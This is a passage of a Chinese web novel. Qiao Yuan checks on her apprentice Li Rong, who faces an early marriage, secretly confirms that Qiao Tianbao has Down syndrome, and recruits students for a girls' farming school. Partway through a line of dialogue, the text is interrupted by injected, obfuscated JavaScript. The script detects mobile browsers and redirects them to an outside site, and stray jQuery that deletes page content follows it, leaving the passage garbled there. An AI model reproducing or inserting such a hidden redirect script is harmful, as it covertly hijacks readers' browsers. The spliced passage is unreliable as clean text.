话到此处，丁广业顿了顿，似是在看乔元脸色，然后才接着道：“我今日来，其实也是想替他探探口风，看姑娘是否有这个意思。” “竟是这样。”乔元应道。 上次让金台县各村里正带回去的浓缩计量，至少可以管上半个月，这人出现在金台县便就是最近的事儿了。 农药是势必要走出金台县的，但丁广业其人，她信不过。 乔元没应承也没反对，只说些场面话道：“丁里正肯如此帮他说话，看来那人定是不凡了。” 丁广业趁机道：“不若这样，姑娘什么时候得空，我在醉仙居摆上一桌，叫上我那兄弟，请姑娘一同来详谈。” 商路的事乔元不太懂，但既然有送上门来的学习机会，哪有推拒门外的道理。 乔元应道：“那便恭敬不如从命了。” 见乔元应承下来，丁广业私心想着这事儿约莫还有商量的余地，他眉梢上带了喜色，又同乔元说了些别的，足足坐了小一刻钟才走。 送了他父子俩出去，乔元这才重新坐回椅子上单手撑着下巴思考。 农药这个盘子太大，不仅是调配运输，制作也是一个大关卡。她虽同周进达成了制造上的初步协议，但分销的事儿的确需要有商人从中掌舵。 看来，她还得选个时候去县衙同周进透个口风。 午后用完饭，问讯处难得来了个几个问询的农人，待将他们提的问解决完，乔元伸了个懒腰往外头看，霞光已经散满天际。 巡检司的差役，便是这个时候上的门。 “乔姑娘。”差役走到她跟前，递了张纸条给她，又细细同她道：“姑娘要找的人住址都已经写在上头了，还请姑娘过目。” 乔元谢过差役，打开纸条。 纸条上字力透纸背，地址也写的很是详细。乔元将纸条仔细收好，又坐着看书等了一会儿，见一直没什么人来了，这才将东西仔细收好，关上了问讯处的大门。 昨日李绒被她娘带了回去，一直到今日也没个消息。临别匆忙，她有些放心不下，托江稷找到她的住处，想去看看。 照着纸条上写的地址走，乔元费了一番力气才到琼花巷的一幢屋子前。 屋子同乔家差不多大，灰墙青瓦，门口还放了两尊类似辟邪的石像，可见李绒家日子过的很是不错。 乔元甫一走进，便听得屋里传来李绒气恼的声音，“阿娘，我说了我不会做针线，你怎的总是要逼我。” 一旁传来妇人恨铁不成钢的声音，“不会此刻便学，哪有姑娘家不会刺绣的，转头嫁出门去惹人笑话。” “我缘何要嫁人！阿娘，你同爹说，将这门亲事退了罢。”李绒絮絮哀求道。 “胡闹！你们二人都已经过了定礼，怎能说退就退，我瞧你的脑子是被猪油糊了，天天说些不着边际的话来。”妇人一听她说这话便来气。 “你见谁家姑娘十四便嫁人的！我不嫁，你便是说死了我也不嫁！”李绒带着怒意抛下这句话，没过过久，乔元便听到屋子里头传来木门合上的巨响。 “死丫头！你以为阿娘愿将你这么早便将你嫁了？难得遇上这么好的夫婿，你若是不嫁，等几年后过了年岁，我瞧你是再后悔都来不及了。”妇人被李绒的脾气折腾的没法子，忍不住在院中斥道。 妇人骂了一会儿，见始终没人应答，叹了一句冤孽，屋里头又渐渐安静下来。 赶在母女吵架的时候敲门入内，便有些不合时宜了。 乔元放弃了走正门的想法，绕着屋子走了一圈，想碰碰运气看能不能找到李绒所在。一直走到屋子的西南角，她才听到里头仿佛传来小姑娘压抑的哭声。 四下无人，乔元轻轻敲了敲窗棂，“李绒。” 屋里头的哭声有过短暂的停歇，乔元满心以为李绒定是发现了，没想到她站了好一会儿也不见人来开窗，她只好又敲了几下。 这回窗户开的极快。 李绒的脸蓦地出现在窗框里，小姑娘面色潮红，满是泪痕，鼻子还在努力一吸一吸的。 一见着是她，李绒伸手便朝她哭嚎道：“师傅。” 乔元一惊，下意识去堵她的嘴，“莫出声。” 乔元的手不算大，只能堪堪捂着李绒的嘴巴。李绒瞪着一双无辜的大眼，眨巴一下，便掉下几颗珍珠来。热烫烫的眼泪承载了她的诸般心事，如今见到乔元，更是满腹的委屈。 二人的姿势维持片刻，直到察觉出她呼吸有些放缓了，乔元才轻声问道：“可缓和些了。” 李绒点了点头，她这才松了捂着李绒嘴的手。 “师傅，你怎知道我住这里？”李绒的嗓音有些沙哑，语调倒是高扬不少。 “托朋友打听的。”乔元应了话，又问道：“你何时要嫁人？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419465|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一提到这事，李绒整个人的眉眼都耷拉了下来，“六月二十八，对方找人算了，说那日是个好日子。” 那便还有一个半月多的时间，来得及。 乔元道：“你可能出门？” 李绒摇摇头，“昨日我出门太久，阿娘生怕我跑了，这几日都在家看着我不准出来，不过师傅放心，不过五六日，我定能找到机会来找你。”李绒冲她扬起笑脸，像是朵带着露珠的向日葵。 闻言，乔元放心下来。 二人说是师徒，其实相识不过就半个时辰，且昨日多数时候都是李绒在同她说话。乔元顿了顿抿唇道：“你若能出门，便到问讯处来找我。我既说收你为徒，定能护你不早早嫁人。” 李绒一手扒着窗户，一手在空中挥舞，兴奋地点点头，“师傅，你这么厉害，我信你。” 小姑娘待人很是单纯，仿佛从未经历过这世间的恶意，乔元这么一说，她很自然的就信了。 同李绒约定了相见的日子，乔元又告诉她，若实在出不来，便去寻街上的差役带话给她，叮嘱完她这一切，这才告别了李绒出来。 李绒见她要走，颇有些依依不舍，“师傅，等我出来，我定会同你好好学农事上的学问，你放心，我聪明着呢。” 乔元笑着点点头，离开了琼花巷。 琼花巷往东再走两条街，便是永宁巷。 乔元拿出江稷给的纸条，核对上头的地址后，站在了另一户人家的门前。 手里的纸条上写着两处地址，一处是李绒的，另一处，是吴玉梅的。 乔天宝的事情，乔元一直没有忘记。 但彼时她初到金台县诸事繁忙，没抽出空来处理这件事。直到吴玉梅到西市同她撒泼，她这才想起这件事情。 如今站在吴玉梅家门前，乔元的心绪颇为复杂。她内心里对吴玉梅极尽厌恶，但乔天宝之事又同周素有关，景朝没有唐氏儿的说法，她今日只能凭自己之力确认清楚。 吴玉梅家的位置实在算不上太好，周遭乱哄哄的，四处都弥漫着一股臭味。 乔元拿帕子虚掩着口鼻，同样先绕着屋子转了一圈。 应是怕乔天宝走失，吴玉梅家不论是围墙也好，窗棂也好，都比寻常人家高上不少。 这高度凭她可上不去，乔元又去街巷各处小转了一圈，好容易才找到几块没人要的烂木头。 她将木头垒起垫在脚边，找了个人少的地方趴着墙往上够。 多亏她没忘记从前当研究员的习惯，闲来经常运动，有意识地锻炼自己的肌肉，再加上最近饭食营养均衡，如今倒也有了一身好力气。 勉强探出半个头来，乔元扫视了下院内的景象。 吴玉梅家不大，院内似是已经很久无人打理了，遍地散落着一些木制玩具和堆成小丘的泥土，墙角摆着一排杜鹃，如今也已经谢了，花瓣飘落在地上，开始有了腐烂的迹象。 乔元仔细扫遍院子的各个角落，终于在柴火堆后头，看到了一个坐在地上有些臃肿的身影。 她眉心一动，这人想来便是乔天宝了。 73. 女学（四） 乔天宝低着头，坐在地上吭哧吭哧地拿木头在撅泥，泥巴沾上了他的裤脚，也沾上了他的脸，东糊一块西糊一块，让人压根看不清他的容貌。 乔元双手趴墙头，像是个翻墙调戏姑娘家的后生，对着他吹了个口哨。 哨声又尖又短很是特别，果不其然，听到声响的乔天宝立马停下手里的动作，开始四处张望了起来。 乔元在墙头上冲他摆摆手。 乔天宝在原地歪了歪头，看了才几处才将眼神聚焦到她脸上。 “过来。”乔元觉着自己像是个人贩子。 乔天宝困惑一阵，起身朝她走来。 他走路歪歪扭扭的，每一步都似乎极为费力，但脸上却一直带着笑，很是好奇地看着乔元。 乔元也没催他，安安静静地看着他走到围墙下面。 都说侄儿肖叔，平心而论，乔天宝长得有几分像乔满山，但他面部扁平，眼距很宽，鼻梁更是比常人矮上很多。 只这几处特征，他是唐氏儿的身份已经能定下了。 乔天宝少见外人，他站在下头，手里还捏着泥巴，咧嘴很是兴奋地冲乔元傻笑着，嘴里发出类似‘嗬嗬’意味不明的声响。 乔元没做回应，她有些神色复杂的看着他。唐氏儿的世界很单纯，乔天宝的眼里没有任何杂质，见到了乔元，也只觉得她像是个新奇的伙伴，想邀请她下来一齐玩耍。 见乔元没了动作，乔天宝又在地上跳了几下，学着乔元的样子同她挥手，嘴里的‘嗬嗬’声愈发大了。 屋外的动静，惊到了正在里头给儿子缝补衣裳的吴玉梅。 乔元听得屋里传出她的声音：“天宝，是谁来了？” 乔天宝回头，吐出“娘、人”的字样，又接着在墙角一跳一跳的傻乐。 吴玉梅觉出不对来，赶忙放下针线，从屋里走了出来。 “咔嗒、咔嗒”，是锁链在地面拖动的声音。脚踝处绑着锁链的吴玉梅，就这样突兀地出现在乔元的视线里。 不过短短几日，吴玉梅便同在西市见到时判若两人。她脸颊凹陷，颧骨突出，低陷的眼眶衬得双眼像是暴凸了出来。整个人看上去消瘦无比，像是个没有了任何生气的提线木偶。 眼看吴玉梅的目光要朝她这处而来，乔元暗道不好，直接松开攀着围墙的手，踩着木头往下跳。 稳稳落地。 乔元掸了手上沾的墙灰，以极快地速度离开了永宁巷。 吴玉梅环视了整个院子没见到人，眉心松了几分，朝乔天宝道：“天宝，阿娘要做饭了，你快些进来罢。” 乔元一走，乔天宝对着墙角张望了一会儿，他的嘴角不自觉地流下一丝口水，没理吴玉梅，又自顾自地坐在地上，重新撅起地来。 吴玉梅见状也不恼，很是习以为常地进屋做饭去了。 不料她刚一进屋，便听得门口传来敲门声。 “谁人？”吴玉梅整个人都紧张起来，自从她被巡检司还有乔满山父子二人警告过之后，外头只要有些风吹草动，她都会疑神疑鬼。 “夫人，还请开门。”是个从未听过的年轻男子声音。 “你是谁！”吴玉梅有些害怕道。 男子轻笑一声，“实现你愿望之人。” —— 回到家中，饭食刚好摆上桌。 周素将手放在围腰上擦干净，这才揽着乔元坐到位置上，“元姐儿你今日是去哪儿了？你大哥去接你的时候，问讯处的门都关了。” 想起这茬，乔元对着一旁的乔长平道：“怪我怪我，竟忘了这事儿。” 乔长平单指在乔元额上敲了一下，“为了寻你，我跑了整整三条街，要不是遇着差役说见你往家方向去了，我现下还在外头呢。” 乔元捂着额头嘿嘿一笑，试图蒙混过去。 乔长平没好气地看了她一眼，状作无意问道：“差役说你是打永宁巷的方向过来的，元姐儿你去那处作甚。” 永宁巷三个字一出，乔满山霎时抬头看向了乔元，连筷子上夹的肉掉了都未曾发觉。 乔天宝的事儿家里人早晚都要知道，既然乔长平都问了，乔元也不打算隐瞒，她道：“我今日去了一趟吴玉梅家。” 闻言，空气寂静一瞬。 最先反应过来的是乔满山，他马上放下筷子，快步走到乔元身边，拉着她就是一通打量，“元姐儿你可有受伤了？伤到哪处？痛是不痛？快同爹说。” 屋里不止乔满山，乔家所有人立时都很是担忧地看着她。 乔元没想到家人反应这么大，她拂下乔满山的手，“爹，放心罢，我没进去，就趴在墙头看了一眼。” 确认女儿没事，乔满山松了口气，很是认真道：“那处不是你一个姑娘家该去的地方，下次莫要再去了。” “无事，无事，爹你先坐下。”扶着乔满山回座，确认家里众人都坐稳扶好，乔元言简意赅道：“我今日去见了乔天宝，经我确认，他并非因为阿娘才成了痴儿，而是打娘胎里出来便已经得病了。” 乔元话音刚落，乔长平直接将嘴里的水喷了出来。 “噫，大哥，你好脏呀！”乔永言很是嫌弃道。 “元姐儿，你说什么！”乔满山再度起身，满脸不可置信。 连同一旁的周素，也是双手慌乱眼瞳放大，下意识不知道自己该做些什么。 “你你你……元姐儿在说些什么？”乔长平回头给了弟弟一记眼刀，胡乱摸了嘴角的水渍，结结巴巴道。 “我是说，乔天宝他这是打娘胎里带出来的病，同阿娘没关系。”乔元又重复了一次。 “你是如何得知的？”乔满山双手不自觉紧握，紧张道。 乔元再度劝了众人坐下，她就近贴着周素，信手拈来道：“我托巡检使认识了位打京城里来的杏林圣手，那高人告诉我，如乔天宝这般面部扁平，眼距较常人宽上很多的人，生来便如三岁孩童般，就算当年阿娘看顾好他了，年岁渐长，他也是与旁人不同的。” 乔家人躲江稷还来不及，自然不会上赶着去问，乔元深觉自己这招用的妙。 “这……”既然是巡检使带来的杏林圣手，想必是可信的，乔家几人互相对望一眼，每个人都不知该说些什么好。 “元姐儿，你可能带我去见见那位杏林？”饭桌上安静片刻，乔满山道。 这件事是周素的心病，他为人夫十 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昨晚下了一场大雨，雨后方歇，不论天地还是尘世，都被冲刷的一干二净。 乔元小心地避开水渍，去广悦楼找李成。 李成的生意三教九流什么路子都涵盖三分，在他这处找假扮杏林高手的人，最合适不过。 同他详细描述了想找到的人的特征，乔元付了定钱谢过他，似是想起什么，又问道：“东家可认识戏班子的人？” “识得的。姑娘可是想要看戏？醉仙居的戏班可是咱们金台县一绝呢。”李成恭敬道。 前段时日他还当乔姑娘不过是巡检使的相好，可那日西市一闹，没几日中街问讯处又那般开场，整个金台县如今谁不知乔姑娘的名号。 “非也非也。”乔元摇头。“我要找的是那种能说会道，还会当街说唱的。” 李成思索片刻，“那就张家班子，那家的班主人活络，活儿也多。” “成，烦请东家将人联系好，来中街问讯处找我便是。”乔元道。 李成点头应下，又一路送了乔元出门，待见她远走，这才唤了个仆役过来在他耳边耳语几句。见仆役都记住了，他才道：“知道怎么同巡检使说吗？” “东家放心，小人省得的。”说罢，仆役便往巡检司方向而去。 手头上积压的事解决不少，乔元整个人都轻松许多，她轻巧地回到中街，刚拐过弯，便见问讯处门口停着一顶很是精巧的轿子。 轿子是蜜合色的，四个角垂着小巧的铃铛，有四个轿夫候在一旁，两侧还跟着两个婢女，只远远一看便很是气派。 路过打量轿子的人不在少数。 一时不知来的是什么人物，乔元敛起神色，缓步朝前走去。 那家婢女见乔元往问讯处来，垂头上前躬身道：“敢问尊驾可是农事问讯处的乔姑娘？我家姑娘已经在此等候多时了。” “你家姑娘是？”乔元不解问道。 还未等婢女回话，轿子的帘门被一双雪白柔皙的手掀开，里头传来一道轻柔的女声，“乔姑娘，我是邱月。” 74. 女学（五） 邱月？ 乔元的睫羽闪动片刻才想起，昨日第一个说愿意将东西送给农事女学的男人，的确说了要将女儿邱月送来的话。 乔元当那人不过是在说些场面话，没成想今日一早人还真来了。 轿子里的姑娘光听声儿便是娇弱又惹人怜，怕是家里金尊玉贵养出来的，也不知能不能吃得了学习的苦。 乔元颔首道：“姑娘可便下轿？” “盼夏。”邱月唤了一声。 “是。”同乔元搭话的婢女，从随行人中取了一顶帷帽出来，送入小轿内。 不多时，帘门被掀开，邱月扶着盼夏的手，出现在乔元面前。 她的个头较乔元还高了些，身着一袭莺色缂丝水纹锦缎，容貌被帷帽挡了看得不甚清楚，但行走之间袅娜娉婷，气度自显。 这般仪态，怎么看都不像是金台县能养出来的姑娘。 请人上了二楼，谢过乔元入座后，邱月这才摘下了帷帽。 乔元下意识去瞧，面前的姑娘肤若凝脂，鼻梁小巧，一点樱唇艳若桃李，毫不夸张的说，是她迄今为止见过最漂亮的姑娘了。 “乔姑娘？”邱月见她一直盯着自己看，面带疑惑。 乔元面上一怔，这才回过神来，“抱歉，姑娘容貌这般妍丽，连我都要看痴了。” 邱月倒是没想到闻名金台县的乔姑娘是这样人物，她掩唇笑了出来，“乔姑娘过誉了。” 连在一旁的盼夏也依言附和道：“我们姑娘，即便是在京城里头也是独一份儿的美貌了。” 言语之间皆是自豪。 闻言，邱月却骤然冷脸下来，“盼夏，不可无礼。” 盼夏身子一抖，连忙跪到地上，“奴婢知错，奴婢该死。” 方才神仙般的主子骤然换了面容，邱月唤了身侧的另一名婢女，“期春。” 名为期春的婢女瞧着很是老道，她站出来对二人行了一礼，旋即便将盼夏带了下去。 盼夏面色煞白，也不敢多说什么，跟着下楼去了。 见二人走了，邱月又恢复成方才温和的模样，起对乔元道：“乔姑娘，家中奴婢无礼，让姑娘见笑了。” 乔元摇摇头，真无礼还是假无礼，各人心中自然清楚，她笑道：“无妨，听方才盼夏所说，姑娘是从京城来的？” 邱月应道：“随家父到此地小住，已有半年之久。” “金台县地处偏远，姑娘从京城而来住在此处，想来多有不便了。”乔元问询道。 “此处不如京城繁华，但风景秀丽，修身养性，最合适不过。”邱月言谈之间落落大方，丝毫没有因为地处乡野而感到不耐。 寒暄过后，乔元收回面上的笑容，端坐问道：“令尊既送姑娘来此学习农事，姑娘可知我这农事问讯处教的都是些什么？” 昨日爹已经同她说了清楚，邱月点头道：“乔姑娘放心，我既来了，不论学什么我都不会半途而废，姑娘明示便是。” 昆虫学和农学的东西，可不是那么轻易就能解释清楚的，各中辛苦更是不足以为外人道。 乔元想了想，让邱月稍候片刻，下楼而去。 刚至楼下，便听得后院里期春道：“姑娘的脾气你是知道的，等会儿上去可别再对乔姑娘无礼了。” 盼夏兀自有些不服气，“乔姑娘不过是乡野莽夫的女儿，如何能同姑娘比，我多说几句又如何。” 期春厉声道：“盼夏！” 盼夏见期春面上很不好看，讪讪住嘴。 “她纵然出身乡野，现在已经是严大人的徒弟。除却彭公子，这么多年，有多少人想成为严大人的徒弟都未成功，你且清楚自己的身份。” 盼夏低低应道：“是。” 期春这才缓缓道：“严家实在太难接近，老爷同姑娘不过也是想另辟蹊径，你若实在不想上去伺候，我替你便是。” 盼夏忙道：“期春姐姐，我并非这个意思。姐姐说的话我省得的，定不会再对乔姑娘无礼了。” 听着二人话音转弱，似要出来，乔元一个闪身往外走，堪堪避过同她们的交汇。 重新上楼的时候，乔元已经调整好了面上的情绪。 她拿着一个木盒放在桌上道：“邱姑娘，并非我不信姑娘的决心，但农事这活又脏又累，我怕姑娘吃不了这辛苦。不如这样，若姑娘能从着盒子里头抓一条蚓虫出来，我便同意你入了农事女学。” 木盒随着乔元的话被打开，里头的蚯蚓歪歪扭扭掺杂在一起，像是许多条细长的绳索，互相交织、缠绕在一起，每一根都在缓慢而持续地蠕动。 重新站在邱月身后的盼夏一见盒子中的场景，不负众望地再度惊叫起来。 邱月也明显被盒中的蚓虫吓到了，放在桌面的手下意识攥紧，面色瞬间煞白。 乔元就这样坐在她对面，并未开口催促。如她这般的富贵人家，又怎么会见过农人习以为常的画面。 既然来的目的不纯，那最好的便是知难而退。 “姑……姑娘。”盼夏在一旁支支吾吾道。 她们姑娘打小便精养着，哪里碰过这些腌臜玩意儿，这回连期春看向乔元的目光里都透出了几分厌恶。 “这便是姑娘的考题？”邱月白着脸开口，语气却并未有多少慌乱。 “是。” 邱月深吸一口气，面上又露出那样温和的笑容，“既是姑娘的考题，我自当尽力才是。” 染着蔻丹的手又白又嫩，同一旁盒子中蜷曲的红褐色蚯蚓像是不在一个世界。 “姑娘，不要。”盼夏在一旁紧紧拉着邱月。 期春也同样在一旁劝阻，“姑娘，不若今日先回去罢。” 看两个婢女一副如临大敌的样子，乔元饶有兴味道：“二位，这虫名为蚓虫，不仅于人体无害，还是农人的好帮手。它在田地间蛹动，便能松动土壤、增加通气性和水分，还有它们的排泄物，更是富含养分，提高土壤肥力全靠它了。” “这些虫子来自地底又脏又臭，哪里是我们姑娘能碰的。”盼夏不满道。 “可你们吃到的好饭食，就是靠这东西堆肥出来的。”乔元随意道，“难不成今日起你们便不吃饭了？” “盼夏，退下。”邱月道。 “姑娘！”盼夏边说边跺脚。 邱月眼光扫过她，盼夏便是再是替邱月着急，还是依言往后退了一步不再说话。 “乔姑娘，是否不论何种方式，只要我手上能抓到一条，便算我过关？”邱月回头问向乔元。 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没想到她真能做到，乔元脸上也有片刻意外，她道：“姑娘既拿起了蚓虫，便算过了。” 见乔元答应，邱月下一瞬直接将手上的蚯蚓抛远。 乔元挑了挑眉，邱月自来到这里开始，一直都装成名门闺秀，这一甩倒露出了她的真性情。 将被甩到地上的蚯蚓捉起重新放回盒子里，乔元道：“四日后，姑娘来此寻我。” 对乔元而言，无非就是多个听课的人，邱月能为了接近她做到哪一步，她倒也充满好奇。 邱月起身谢过乔元，在婢女的伺候下带好帷帽，一刻不停地便往楼下的轿子里走。 直到入了轿子，身侧没了旁人，邱月这才对盼夏面若寒霜道：“盼夏，帕子。还有，将我那簪子丢了，丢的越远越好。” —— 收拾完下楼，乔元将盒子里的蚯蚓重新倒到后院的泥地里，这才重新打开问讯处的大门。 如今问讯处声名鹊起，有不少从隔壁村镇来的农人，慕名前来问询乔元农事上的问题。 解决的问题越多，乔元对于农事上的理解也就愈发深刻。农学和昆虫学有着千丝万缕的联系，从前只会专攻昆虫学的她，或许有些狭隘了。 正当沉思之际，来了个精瘦的汉子，“敢问可是乔姑娘？” “正是。”乔元起身应道，“大哥可是有什么要问询的？” 汉子摆摆手，“姑娘误会了，我是张家班子的班主。” 乔元眼前一亮，“就等你来了。” 她虽麻烦江稷贴了告示，但读书人字的人本来就不多，靠着口耳相传，起效不快。让戏班子走街串巷地叫喊，在告示的基础上更能锦上添花。 同班主说了自己的要求，乔元又拿了一块银锭出来，“张班主，这几日就麻烦你了，务必要让整个金台县有姑娘的人家，都知道我这处开了农事女学。” 张班主手里拿着银锭面上笑得合不拢嘴，“乔姑娘，您就请好罢。” “对了姑娘，想要让人传得快，说的话也有讲究，姑娘可有什么口号？” 这可不是她的长处，乔元想了想，她道：“你就这样说罢。农事女学，来读书就送钱。” 75. 女学（六） 送走张班主，已然到了用饭的时辰。 乔元在屋内看了会儿书，乔长平就带着饭食上门了。 “大哥。”乔元阖上书册，眯眼笑道。 乔长平手里提着篮子，“饿了罢，阿娘今日做的是肉馅烤饼，好吃得不行，趁现在还热，快来尝尝。” 乔元接过篮子，很自然地先去了后院，乔长平帮着把大门半关，也跟了过来。 后院有一套乔满山特意打的木桌同凳子，乔元坐在椅子上，开始美滋滋地掀开篮子吃烤肉饼。 家里条件好了之后，周素放起肉来是一点都不含糊。今天的肉馅烤饼，饼皮暄软弹牙，油脂里包含着浓浓的葱香，一口下去，里头的汁水都快满溢出来了。 乔长平帮着把汤盛出来，见她吃地餮足，不禁出言道：“元姐儿，左右正午里没人，你就不能关门回家歇一歇。” “这可不行，”乔元咽下嘴里的肉饼，“大哥也是务过农的，自然知道农事上的事儿拖不得。若我不在，万一有农人寻我不到，岂不白白耽误功夫。” 乔长平一听，倒是这个理，“也罢，我就是怕你太辛苦了。” 乔元自然知道他是个爱操心的性子，“放心罢大哥。” 知道妹妹是个有主意的，乔长平也不再说什么。趁着她用饭的功夫，自己则去了外间，力所能及地帮乔元收拾一下屋里的东西。 他刚将外间的桌椅板凳简单擦拭了一下，便听得屋外传来脚步声。 “乔姑娘可在？”是个女子的声音。 “她还在用饭呢，烦请姑娘坐着稍候。”乔长平回到，他低头将最后一处擦完，这才抬头往外看去。 来人一袭桃红衣裳，妆容艳丽又夸张，手上还抱着一架琴，正在屋里左看右看，四处打量。 莫名的有些熟悉。 乔长平仔细端详来人一番，忽的眉头一皱，“是你！” 李琴娘闻言，看向蹲在桌角的男人，“我们认识？” 乔长平气不打一处来，他起身把擦布甩到桌上，“那日我弟弟无意撞了你，你出言辱骂了他还有我娘，这么快便忘了？” 李琴娘眼珠子转了转，下意识否认道：“这位公子，你莫不是认错人了？” “我记得清清楚楚，就在青石巷路口。”乔长平咬牙切齿道。 眼见推脱不过去，李琴娘抱琴走到乔长平面前，垂下眼睫面露悔意，软声道：“公子，我记起来了，那日琴娘实在是有急事，被令弟一撞心生怒意，这才出言不逊。” 说罢，她抱琴就对着乔长平屈膝，泣道：“琴娘实是不该辱骂公子同你家眷，还请公子原谅我。” 面前的女子眨眼间便哭的梨花带雨，我见犹怜。 乔长平打小长在石湾村，遇见的不是上了年纪的婶娘就是乳臭未干的小丫头们，哪里见过这般场面。 他一时间不知该先扶她还是先原谅她好，只能在一旁手足无措道：“你……你先起来，别哭了。” “公子若是不原谅我，我便不起来。”李琴娘拿帕子掩面，一边假哭，一边偷偷打量面前的男人。 乔长平面上开始涨红，很是招架不住。 这架势，活像他欺负人似的。他在原地转了几圈，终是妥协道：“那你下次可不能这样了。” 李琴娘一听有戏，起身谢过，“公子说的是，琴娘定当铭记。” 方才还哭地泪眼朦胧的姑娘，说不哭就不哭了。 乔长平还没弄明白怎么回事呢，就见她将琴放在自己刚擦完的桌子上，“敢问乔姑娘还有多久出来？” 这姑娘，怎的一下就变了一张脸？乔长平觉得自己像是被她戏耍了一番。 还在后院的乔元，正在吃她的第三个肉烤饼。 外头的说话声她听到了，左右大哥还在外头，若真有事也会来叫她。她很是悠哉地将篮子里的烤饼吃完，又喝下暖暖的甜汤，将东西归置好才走到前面。 刚出拐角，就见乔长平正和一个不相识的女子大眼瞪小眼，二人面前的桌面上还放着一架琴。 “这位是？”乔元问道。 李琴娘一见到乔元，起身熟络笑道：“想必这位便是闻名金台县的乔姑娘了罢？” “是我。”乔元应下，只觉得面前的女子瞧着莫名有些熟悉。 脑海中闪过几个碎片，乔元在李琴娘出声前道：“是你！” 李琴娘在金台县长到十七岁，同人吵架从没有一次落过下风。今日也算是阴沟里翻船，她哪里算得到那日数落过的会是乔家人。 现下再懊悔也是来不及了，她只能坦然道：“我方才就同姑娘的兄长道过歉了，那日是我不对说话难听了些，冲撞了姑娘家里人，还望姑娘见谅。” 乔元看向乔长平，后者会意道：“元姐儿，她的确已经道过歉了。” 既然大哥都这么说了，乔元没驳他的面子。纵然看向李琴娘的目光依旧有些不愉，但还是道：“姑娘今日来所为何事？” 李琴娘自知理亏，索性把话往直了说，“我在街上听得，只要到姑娘这处读农事女学便有钱拿，可是真的？” “是真的。”乔元道。 张班主的效率倒是快，这么一会儿就来人了。 “姑娘瞧着我可还行？”李琴娘面上一喜，接着问道。 “你？”乔元上下打量李琴娘的装扮，怎么瞧都不像是穷苦人家的姑娘。 不过她开设女学，本来就本着有教无类去的，只要肯学的姑娘，她都愿意教。 只是……她毕竟要教授昆虫学的知识，有些测试还是放在前头的好。 乔元对她道：“后院有不少蚓虫，你若能在半刻钟内挖出一条放在手中，我便许你入学。” 李琴娘呆愣片刻，似是没想到这么简单，“只如此便可？” “只如此便可。” 李琴娘连犹豫的功夫都没有，直接到了后院就地拿了铲子挖起来。 后院一半是路一半是泥，李琴娘瞧着很是纤 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问讯处关着的半扇门还没打开，乔长平跟在李琴娘后头，送了她出去，顺带将掩着的半扇门打开。 谁料李琴娘刚出农事问讯处不过十步，照面便碰见了一个糙汉。 糙汉扣了扣腋下，公然调戏道：“呦，这不是天香楼的李琴娘吗？怎的不去楼里等小爷，在这处晃荡？莫不是专程来等我的罢。” 乔长平面容霎时严肃下来，他刚想上去替她解围。 就听得李琴娘道：“马六，你家没铜镜你还没尿吗？凭你也配姑娘我等，你再冲我乱嚼舌根，明日便舌头打结堵了嘴巴活活闷死在家。” “贱人，你敢咒我。”马六拉长脸凶狠道。 “咒你？我何止要咒你，我还要扎小人、踩鞋板，告诉官府你当街欺我。”李琴娘一张嘴是又快又利，说话都不带停的。 “你这般，仔细我告诉天香楼的东家！”马六气结。 “就凭你也想见我们东家？”李琴娘很是夸张地弯腰笑了几声，“你这样子，还没到天香楼门口，就被当成要饭的花子打出去了。你那浑身贱骨头，就是全卖了连我们天香楼的地砖都买不起。凭你还想告我，去啊马六，你不去不是男人。” 马六还想再说，中街上路过有人拉了他一把，“兄弟，你可别再说了，她的嘴是出了名的快，你讨不到好处的。” 李琴娘很是满意路人对她的评价，展颜对马六道：“马六，我就在天香楼等着，可别等到我死了你还没来。” 说完这句话，她很是愉悦地往外走，临走时还不忘再度对乔家两兄妹行了一礼。 李琴娘走的潇洒，留下马六一个大汉在原地被气地七窍生烟。 乔长平同闻声出来的乔元两两相望，沉默不语。 看来她刚才对他们还是收了力的，这姑娘，当真彪悍至极。 76. 女学（七） 乔元给的钱不少，张班主更是铆足了劲儿帮她宣传。 打李琴娘走后，陆陆续续来了不少问询的人。 不过说来也怪，后头来的都是家里的父母帮着问询的，乔元等了一个下午，再也没见到同李琴娘一样孤身来的姑娘。 没有姑娘来，婶娘倒是来了一堆，张口闭口都是问能不能让自己家儿子也跟着学的。 还美其名曰，“丫头学东西哪有小子快，小子学了手艺好傍身，丫头早晚都是要嫁人的。” 乔元都被他们给气笑了，她道：“我这是女学，只要姑娘。” 婶娘们饶是软硬兼施也劝不动乔元，只能退一步兀自说道：“反正都是女人，我们也成，不若也算了我们进去。” 乔元不想再同他们纠缠，当即就喊了自家大哥拿了棍子黑脸候在门口。 乔长平这些日子常常往铁匠铺跑，也算是半个学徒了，只要不开口说话，高挑的身板很能唬人。 有了他在，婶娘们到底是不敢再自说自话。 等这批人一走，乔元就加了条规矩，想要入学，必须姑娘自己来问。 她创办女学，一则是想救一救那些想要自食其力，不愿嫁人的姑娘；二则，也是为了把自己掌握的知识惠及大众。 至于那些来了只想赚钱贴补家用，或者是想要谋得渔利的人，不在她的选择范围之内。 怕乔元受欺负，到了时间本该去铁匠铺的乔长平，寸步不离的跟在她身后，直到日落西山，兄妹俩才收拾好回家。 晚间用完饭，乔元照例坐在桌案前，挑灯写盐碱地种植农作物的规划。 从怎么改良土地，到作物选种，再到进一步管培，乔元写的很是详细，又重新推敲了几遍细则，确认流程没什么问题，她这才阖上书册。 烛火下，一旁严维运给的书册，页角上已经被乔元翻得起毛边了。如今已然过了大半个月，想起严维运走时说过的话，乔元思忖着，自己也该写一封信去问问才是。 翌日一早，乔元让乔长平先去农事问讯处替她看着，自己则绕道去了县衙。 因着蚜害和严维运收徒的事儿，周进最近是喜讯不断。不仅州里的封赏下来了，他舅父还特意递了口信给他，说今年怕是升迁有望。果不其然，最近有不少多年没有交情的同僚，非说是路过金台县要延请他吃上一桌席面。 昨日又宿醉一晚，直到吴才特意来请的他，周进才睡眼惺忪地起来。 拾掇好到了堂上，一见坐在凳子上喝茶的乔元，周进猛地打起精神来，“乔姑娘，今日怎的有空来县衙？” 